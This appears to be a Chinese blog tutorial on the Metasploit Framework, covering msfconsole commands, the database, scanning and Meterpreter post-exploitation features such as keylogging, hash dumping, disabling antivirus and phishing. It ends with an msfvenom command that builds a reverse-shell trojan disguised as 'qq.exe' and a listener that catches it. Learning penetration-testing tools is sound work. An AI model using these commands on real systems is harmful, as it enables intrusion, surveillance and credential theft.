点我

概述

MSF全称为MetasploitFramework,Metasploit是用Ruby编写的,

Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。
MSF的设计初衷是打造一个攻击工具开发平台,官网:www.metasploit.com

metasploit模型框架图

image-20230627105538383

在 Metasploit Framework 中,所有模块都是 Ruby 类。

  • 模块继承自特定于类型的类
  • 特定于类型的类继承自 Msf::Module 类
  • 模块之间有一个共享的通用 API

有效载荷略有不同。

  • 有效负载在运行时从各种组件创建
  • 将每个模块连接在了一起

模块

image-20230628143025400

Auxiliary modules

辅助模块,该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试

Encoder modules

编码模块,该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、 IDS及类似的安全软件检测出来。

Evasion modules

规避模块,通常用于使用户能够生成旨在逃避防病毒的规避有效负载,例如Windows Defender,而无需安装外部工具。

Exploit modules

漏洞利用模块,漏洞利用是指由渗透测试者利用 一个系统、应用或者服务中的安全漏洞进行的攻击行为 。

流行的渗透攻击技术包括缓冲区溢出、 Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码 。

Nop modules

“无”模块,通常用于生成一系列不执行副作用的“无操作”指令。NOP 通常与堆栈缓冲区溢出结合使用。

Payloads modules

攻击载荷模块,攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在Metasploit框架中可以自由地选择、传送和植入 。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等 。

有效负载模块封装了作为漏洞利用成功的结果而执行的任意代码(shellcode)。这通常涉及创建 Metasploit 会话,但可以改为执行代码,例如添加用户帐户,或执行简单的 pingback 命令,以验证针对易受攻击的目标执行代码是否成功。

有效负载模块也可以单独用于生成独立的可执行文件,或用于漏洞利用的shellcode

Post modules

后渗透模块,该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。

控制台及常用命令

进入控制台,msfconsole

image-20230627110136198

MSFconsole 有许多不同的命令选项可供选择,以下是一组核心的 Metasploit 命令

? &help

help或? 命令将为您提供所有可用命令的列表和简短描述。

image-20230627112519335

back

使用完特定模块后,或者无意中选择了错误的模块,可以发出 back 命令以移出当前上下文。

image-20230627113335525

banner

随机显示进入msf console后的图标

image-20230627113442184

image-20230627113456332

check

该命令可以检查目标是否容易受到特定漏洞的攻击,而不是直接利用它。

image-20230627114850564

connect

msfconsole 中内置了一个微型 Netcat 克隆,支持 SSL、代理、透视和文件传输。

通过使用 IP 地址和端口号发出连接命令,您可以从 msfconsole 中连接到远程主机,就像使用 Netcat 或 Telnet 一样。

image-20230627115104513

connect -h 查看帮助文档

image-20230627115145536

exit

退出命令将简单地退出 msfconsole。

image-20230627115232908

grep

grep 命令类似于 Linux grep,它匹配另一个 msfconsole 命令输出中的给定模式。

image-20230627115722821

搜索 包含字符串http的oracle模块

grep http search oracle

image-20230627115851640

info

info 命令将提供有关特定模块的详细信息,包括所有选项、目标和其他信息。请务必在使用模块说明之前始终阅读模块说明,因为有些可能会产生不希望的效果。

info 命令还提供以下信息:

  • 作者和许可信息
  • 漏洞参考(即:CVE、BID等)
  • 模块可能具有的任何有效负载限制

image-20230627120240166

irb

运行 irb 命令会将您放入一个实时的 Ruby 解释器外壳,您可以在其中发出命令并即时创建 Metasploit 脚本。此功能对于理解框架的内部结构也非常有用。

image-20230627120522607

jobs

查看工作在后台的模块

image-20230627134840663

kill

终止正在工作的任务

image-20230627134958635

load

load命令可以从Metasploit插件目录中加载插件,可通过key=value的形式传参

image-20230627135203839

unload

卸载命令卸载以前加载的插件并删除任何扩展命令

image-20230627135300837

loadpath

路径加载,loadpath 命令将为路径加载第三方模块树,以便您可以将 Metasploit 指向您的 0day漏洞、编码器、有效负载等。

search

msfconsole 包括广泛的基于正则表达式的搜索功能。如果您对要查找的内容有一个大致的了解,可以通过搜索进行搜索

请注意,Metasploit 模块的命名规则使用下划线而不是连字符。

image-20230627135621452

search命令 相关参数

msf6 > search -h
Usage: search [<options>] [<keywords>:<value>]

Prepending a value with '-' will exclude any matching results.
If no options or keywords are provided, cached results are displayed.


OPTIONS:

    -h, --help                      Help banner
    -I, --ignore                    Ignore the command if the only match has the same name as the search
    -o, --output <filename>         Send output to a file in csv format
    -r, --sort-descending <column>  Reverse the order of search results to descending order
    -S, --filter <filter>           Regex pattern used to filter search results
    -s, --sort-ascending <column>   Sort search results by the specified column in ascending order
    -u, --use                       Use module if there is one result

Keywords:
  aka              :  Modules with a matching AKA (also-known-as) name
  author           :  Modules written by this author
  arch             :  Modules affecting this architecture
  bid              :  Modules with a matching Bugtraq ID
  cve              :  Modules with a matching CVE ID
  edb              :  Modules with a matching Exploit-DB ID
  check            :  Modules that support the 'check' method
  date             :  Modules with a matching disclosure date
  description      :  Modules with a matching description
  fullname         :  Modules with a matching full name
  mod_time         :  Modules with a matching modification date
  name             :  Modules with a matching descriptive name
  path             :  Modules with a matching path
  platform         :  Modules affecting this platform
  port             :  Modules with a matching port
  rank             :  Modules with a matching rank (Can be descriptive (ex: 'good') or numeric with comparison operators (ex: 'gte400'))
  ref              :  Modules with a matching ref
  reference        :  Modules with a matching reference
  target           :  Modules affecting this target
  type             :  Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)

Supported search columns:
  rank             :  Sort modules by their exploitabilty rank
  date             :  Sort modules by their disclosure date. Alias for disclosure_date
  disclosure_date  :  Sort modules by their disclosure date
  name             :  Sort modules by their name
  type             :  Sort modules by their type
  check            :  Sort modules by whether or not they have a check method

Examples:
  search cve:2009 type:exploit
  search cve:2009 type:exploit platform:-linux
  search cve:2009 -s name
  search type:exploit -s type -r

例如:search cve:2023 platform:windows type:exploit

image-20230627140413541

sessions

Session命令允许你列出生成的会话、与之交互和终止生成的会话。会话可以是shell,Meterpreter会话,VNC等。

相关参数

msf6 > sessions -h
Usage: sessions [options] or sessions [id]

Active session manipulation and interaction.

OPTIONS:

    -c, --command <command>              Run a command on the session given with -i, or all
    -C, --meterpreter-command <command>  Run a Meterpreter Command on the session given with -i, or all
    -d, --list-inactive                  List all inactive sessions
    -h, --help                           Help banner
    -i, --interact <id>                  Interact with the supplied session ID
    -k, --kill <id>                      Terminate sessions by session ID and/or range
    -K, --kill-all                       Terminate all sessions
    -l, --list                           List all active sessions
    -n, --name <id> <name>               Name or rename a session by ID
    -q, --quiet                          Quiet mode
    -s, --script <script>                Run a script or module on the session given with -i, or all
    -S, --search <filter>                Row search filter.
    -t, --timeout <seconds>              Set a response timeout (default: 15)
    -u, --upgrade <id>                   Upgrade a shell to a meterpreter session on many platforms
    -v, --list-verbose                   List all active sessions in verbose mode
    -x, --list-extended                  Show extended information in the session table

Many options allow specifying session ranges using commas and dashes.
For example:  sessions -s checkvm -i 1,3-5  or  sessions -k 1-2,5,6

use

当您决定使用某个特定模块时,请发出use命令来选择它。

use命令会将上下文更改为特定模块,从而显示特定类型的命令.

通过search命令搜索对于的模块,搜索后使用use选择需要使用模块

image-20230627145504351

还可以使用use + 模块前面的序列号

image-20230627145617234

show

image-20230627143156040

在msfconsole中输入show + 模块名,则会显示该模块下的对应使用文件,例如:

image-20230627143324041

如果选中了某个模块,则可以使用show options命令,显示当前模块文件中可用或需要的设置的相关参数

image-20230627143640866

如果不确定该漏洞利用模块是否适用于攻击目标,可以使用show targets命令。

image-20230627144438651

如果希望进一步微调漏洞利用,可以通过show advanced 来查看更多选项。

image-20230627144552809

显示 MSF 中可用的编码器列表,可以使用show encoders

image-20230627144659755

show nops命令将显示Metasploit必须提供的NOP生成器

image-20230627145101397

set

set命令允许你为正在使用的模块配置框架或者参数

image-20230627141612791

unset

与 set 命令相反的是未设置取消设置将删除以前使用 set 配置的参数。您可以删除所有未设置的赋值变量。

image-20230627141841808

setg

为了在渗透测试期间节省大量键入,可以用setg命令在 msfconsole 中设置全局变量,设置这些后,您可以在任意数量的漏洞利用和辅助模块中使用它们,还可以使用save保存当前环境,以便在下次启动 msfconsole 时使用。

但是,请不要忘记你已经保存了全局变量,因此在运行利用之前请务必检查您的选项。相反,您可以使用 unsetg 命令取消设置全局变量。在下面的示例中,变量以全大写字母(即:LHOST)输入,但 Metasploit 不区分大小写,因此没有必要这样做。

image-20230627142857914

在需要帮助的任何时候,都可以使用 help 命令来显示可用选项

exploit & run

当所有配置已经完成,就可以使用命令 run或exploit发起攻击

image-20230627151055268

Usage: run [options] [RHOSTS]

Run the current exploit module

OPTIONS:

    -e, --encoder <encoder>          The payload encoder to use.  If none is specified, ENCODER is used.
    -f, --force-run                  Force the exploit to run regardless of the value of MinimumRank.
    -h, --help                       Help banner.
    -J, --foreground                 Force running in the foreground, even if passive.
    -j, --job                        Run in the context of a job.
    -n, --nop-generator <generator>  The NOP generator to use.  If none is specified, NOP is used.
    -o, --options <options>          A comma separated list of options in VAR=VAL format.
    -p, --payload <payload>          The payload to use.  If none is specified, PAYLOAD is used.
    -q, --quiet                      Run the module in quiet mode with no output
    -t, --target <target>            The target index to use.  If none is specified, TARGET is used.
    -z, --no-interact                Do not interact with the session after successful exploitation.

Examples:

    run 192.168.1.123
    run 192.168.1.1-192.168.1.254
    run file:///tmp/rhost_list.txt
    run smb://192.168.1.123
    run smb://user:pass@192.168.1.123

Learn more at https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

image-20230627151534095

数据库

Metasploit内置了对PostgreSQL数据库系统的支持。

该系统允许快速轻松地访问扫描信息,并使我们能够从各种第三方工具导入和导出扫描结果。我们还可以使用此信息来相当快速地配置模块选项。最重要的是,它使我们的结果保持干净和有条理。

在使用之前,需要启动postgresql服务器

image-20230627152713332

启动 postgresql 后,您需要使用 msfdb init 创建并初始化 msf 数据库

image-20230627152756609

加载msfconsole后,使用db_status查看数据库状态

image-20230627152910764

查看当前的工作空间

image-20230627153027579

创建新的工作空间

image-20230627153127413

删除vuln工作空间

image-20230627153157602

更多命令:

Usage:
    workspace          List workspaces
    workspace [name]   Switch workspace

OPTIONS:

    -a, --add <name>          Add a workspace.
    -d, --delete <name>       Delete a workspace.
    -D, --delete-all          Delete all workspaces.
    -h, --help                Help banner.
    -l, --list                List workspaces.
    -r, --rename <old> <new>  Rename a workspace.
    -S, --search <name>       Search for a workspace.
    -v, --list-verbose        List workspaces verbosely.

关于数据库相关参数

Database Backend Commands
=========================

    Command       Description
    -------       -----------
    analyze       Analyze database information about a specific address or address range
    db_connect    Connect to an existing data service
    db_disconnec  Disconnect from the current data service
    t
    db_export     Export a file containing the contents of the database
    db_import     Import a scan result file (filetype will be auto-detected)
    db_nmap       Executes nmap and records the output automatically
    db_rebuild_c  Rebuilds the database-stored module cache (deprecated)
    ache
    db_remove     Remove the saved data service entry
    db_save       Save the current data service connection as the default to reconnect on startup
    db_status     Show the current data service status
    hosts         List all hosts in the database
    klist         List Kerberos tickets in the database
    loot          List all loot in the database
    notes         List all notes in the database
    services      List all services in the database
    vulns         List all vulnerabilities in the database
    workspace     Switch between database workspaces

Meterpreter

概述

Meterpreter 是一种高级、动态可扩展的有效负载,它使用内存中 DLL 注入payload并在运行时通过网络进行扩展。它通过暂存套接字进行通信,并提供全面的客户端 Ruby API。它具有命令历史记录、选项卡完成、通道等功能。

Metepreter最初由skape为Metasploit 2.x编写,常见的扩展被合并为3.x,目前正在对Metasploit 3.3进行大修。服务器部分以纯 C 语言实现,现在使用 MSVC 编译,使其具有一定的可移植性。客户端可以用任何语言编写,但Metasploit有一个功能齐全的Ruby客户端API。

相关特性

  • Meterpreter 完全驻留在内存中,不会向磁盘写入任何内容。
  • 不会创建新进程,因为 Meterpreter 将自身注入到受感染的进程中,并且可以轻松迁移到其他正在运行的进程。
  • 默认情况下,Meterpreter 使用加密通信。
  • Meterpreter利用信道化通信系统。
  • TLV协议几乎没有限制。
  • 功能可以在运行时进行扩充,并通过网络加载。
  • 新功能可以添加到Meterpreter,而无需重建它。

基础命令

当拿到meterpreter权限后,可以使用help命令查看可以执行哪些命令

image-20230629091024732

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    bg            Alias for background
    bgkill        Kills a background meterpreter script
    bglist        Lists running background scripts
    bgrun         Executes a meterpreter script as a background thread
    channel       Displays information or control active channels
    close         Closes a channel
    detach        Detach the meterpreter session (for http/https)
    disable_unic  Disables encoding of unicode strings
    ode_encoding
    enable_unico  Enables encoding of unicode strings
    de_encoding
    exit          Terminate the meterpreter session
    get_timeouts  Get the current session timeout values
    guid          Get the session GUID
    help          Help menu
    info          Displays information about a Post module
    irb           Open an interactive Ruby shell on the current session
    load          Load one or more meterpreter extensions
    machine_id    Get the MSF ID of the machine attached to the session
    migrate       Migrate the server to another process
    pivot         Manage pivot listeners
    pry           Open the Pry debugger on the current session
    quit          Terminate the meterpreter session
    read          Reads data from a channel
    resource      Run the commands stored in a file
    run           Executes a meterpreter script or Post module
    secure        (Re)Negotiate TLV packet encryption on the session
    sessions      Quickly switch to another session
    set_timeouts  Set the current session timeout values
    sleep         Force Meterpreter to go quiet, then re-establish session
    ssl_verify    Modify the SSL certificate verification setting
    transport     Manage the transport mechanisms
    use           Deprecated alias for "load"
    uuid          Get the UUID for the current session
    write         Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    del           Delete the specified file
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcat          Read the contents of a local file to the screen
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command       Description
    -------       -----------
    enumdesktops  List all accessible desktops and window stations
    getdesktop    Get the current meterpreter desktop
    idletime      Returns the number of seconds the remote user has been idle
    keyboard_sen  Send keystrokes
    d
    keyevent      Send key events
    keyscan_dump  Dump the keystroke buffer
    keyscan_star  Start capturing keystrokes
    t
    keyscan_stop  Stop capturing keystrokes
    mouse         Send mouse events
    screenshare   Watch the remote user desktop in real time
    screenshot    Grab a screenshot of the interactive desktop
    setdesktop    Change the meterpreters current desktop
    uictl         Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_chat   Start a video chat
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam
    webcam_strea  Play a video stream from the specified webcam
    m


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

post模块

在meterpreter权限下,可以使用run 命令运行post模块中的脚本

image-20230629100729176

检查受害者系统上的安全配置,并可以禁用其他安全措施,例如 A/V、防火墙等

getcountermeasure

image-20230629100845148

获取受害者的本地子网掩码

get_local_subnets

image-20230629101113560

受害者上启用 telnet(如果它被禁用)。

image-20230629101330271

Keyscan

键盘记录

image-20230629102123333

开启远程桌面

Run getgui

image-20230629102849062

让我们尝试enable_rdp脚本

image-20230629103046459

打开成功

image-20230629103308055

迁移进程

migrate

image-20230629103505039

网络钓鱼

phish

首先保存一个sessions

image-20230629104217697

查询对应的模块

image-20230629104252907

image-20230629104337830

run

image-20230629104542732

给受害者设置壁纸

image-20230629104959939

image-20230629105103743

设置好之后 run

端口扫描

1、可以使用过db_nmap 命令对目标进行端口扫描,并且会将扫描结果自动的存储在数据库中。

image-20230628094801750

可以使用hosts命令,查看当前数据库中保存的所有主机名

image-20230628094843214

2、除此之外,还可以使用msf中的auxiliary 辅助模块进行端口扫描。

search portscan type:auxiliary

image-20230628095146277

例如使用tcp模块进行扫描

image-20230628095410495

需要填写rhosts,可以使用hosts -R参数,将数据库中主机全部加载到rhosts参数中

image-20230628095526060

为了方便演示这里rhosts 仅仅设置一个参数

image-20230628095924530

发起扫描

image-20230628100132438

已经确定了网络上可用的主机,我们可以尝试确定它们正在运行的操作系统。这将帮助我们缩小攻击范围,以针对特定系统,并阻止我们将时间浪费在那些不容易受到特定漏洞攻击的系统上。

由于扫描中有许多系统打开了端口 445,因此我们将使用 scanner/smb/version 模块来确定目标上运行的 Windows 版本以及哪个版本samba版本位于 Linux 主机上。

image-20230628100451298

image-20230628100513785

wmap漏洞扫描

wmap是一个功能丰富的 Web 应用程序漏洞扫描程序,允许我们从Metasploit框架中进行Web应用程序扫描。

首先进行加载wamp插件,然后使用help 查看帮助文档

image-20230628101928785

wmap Commands
=============

    Command       Description
    -------       -----------
    wmap_modules  Manage wmap modules
    wmap_nodes    Manage nodes
    wmap_run      Test targets
    wmap_sites    Manage sites
    wmap_targets  Manage targets
    wmap_vulns    Display web vulns

在运行 Web 应用扫描之前,我们首先需要通过将 -a 开关传递给 wmap_sites 来添加新的目标 URL。之后,运行 wmap_sites -l 将打印出可用的目标。

image-20230628102003774

使用wmap_targets参数添加目标

image-20230628102211275

使用wmap_run 命令扫描目标站点

首先使用wmap_run -t 显示开启了哪些模块用于扫描

image-20230628102523337

接着使用wmap -e 进行扫描

image-20230628103716539

使用wmap_vulns -l 列出漏洞信息表

image-20230628103834109

可以使用vulns命令 打印数据库中的漏洞

image-20230628104053727

Msfvenom

MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
    -l, --list            <type>     List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
    -p, --payload         <payload>  Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
        --list-options               List --payload <value>'s standard, advanced and evasion options
    -f, --format          <format>   Output format (use --list formats to list)
    -e, --encoder         <encoder>  The encoder to use (use --list encoders to list)
        --service-name    <value>    The service name to use when generating a service binary
        --sec-name        <value>    The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
        --smallest                   Generate the smallest possible payload using all available encoders
        --encrypt         <value>    The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
        --encrypt-key     <value>    A key to be used for --encrypt
        --encrypt-iv      <value>    An initialization vector for --encrypt
    -a, --arch            <arch>     The architecture to use for --payload and --encoders (use --list archs to list)
        --platform        <platform> The platform for --payload (use --list platforms to list)
    -o, --out             <path>     Save the payload to a file
    -b, --bad-chars       <list>     Characters to avoid example: '\x00\xff'
    -n, --nopsled         <length>   Prepend a nopsled of [length] size on to the payload
        --pad-nops                   Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
    -s, --space           <length>   The maximum size of the resulting payload
        --encoder-space   <length>   The maximum size of the encoded payload (defaults to the -s value)
    -i, --iterations      <count>    The number of times to encode the payload
    -c, --add-code        <path>     Specify an additional win32 shellcode file to include
    -x, --template        <path>     Specify a custom executable file to use as a template
    -k, --keep                       Preserve the --template behaviour and inject the payload as a new thread
    -v, --var-name        <value>    Specify a custom variable name to use for certain output formats
    -t, --timeout         <second>   The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
    -h, --help                       Show this message

创建木马文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.105.129 lport=10086 -f exe -o qq.exe

image-20230629112125123

设置监听模块

image-20230629112322213

use exploit/multi/handler

image-20230629112434201

设置和木马一样的payload、地址与端口

image-20230629112632009

监听端run,只要木马被点击则会被监听成功

image-20230629112906756

分类: 工具

评论

-- 评论已关闭 --

目录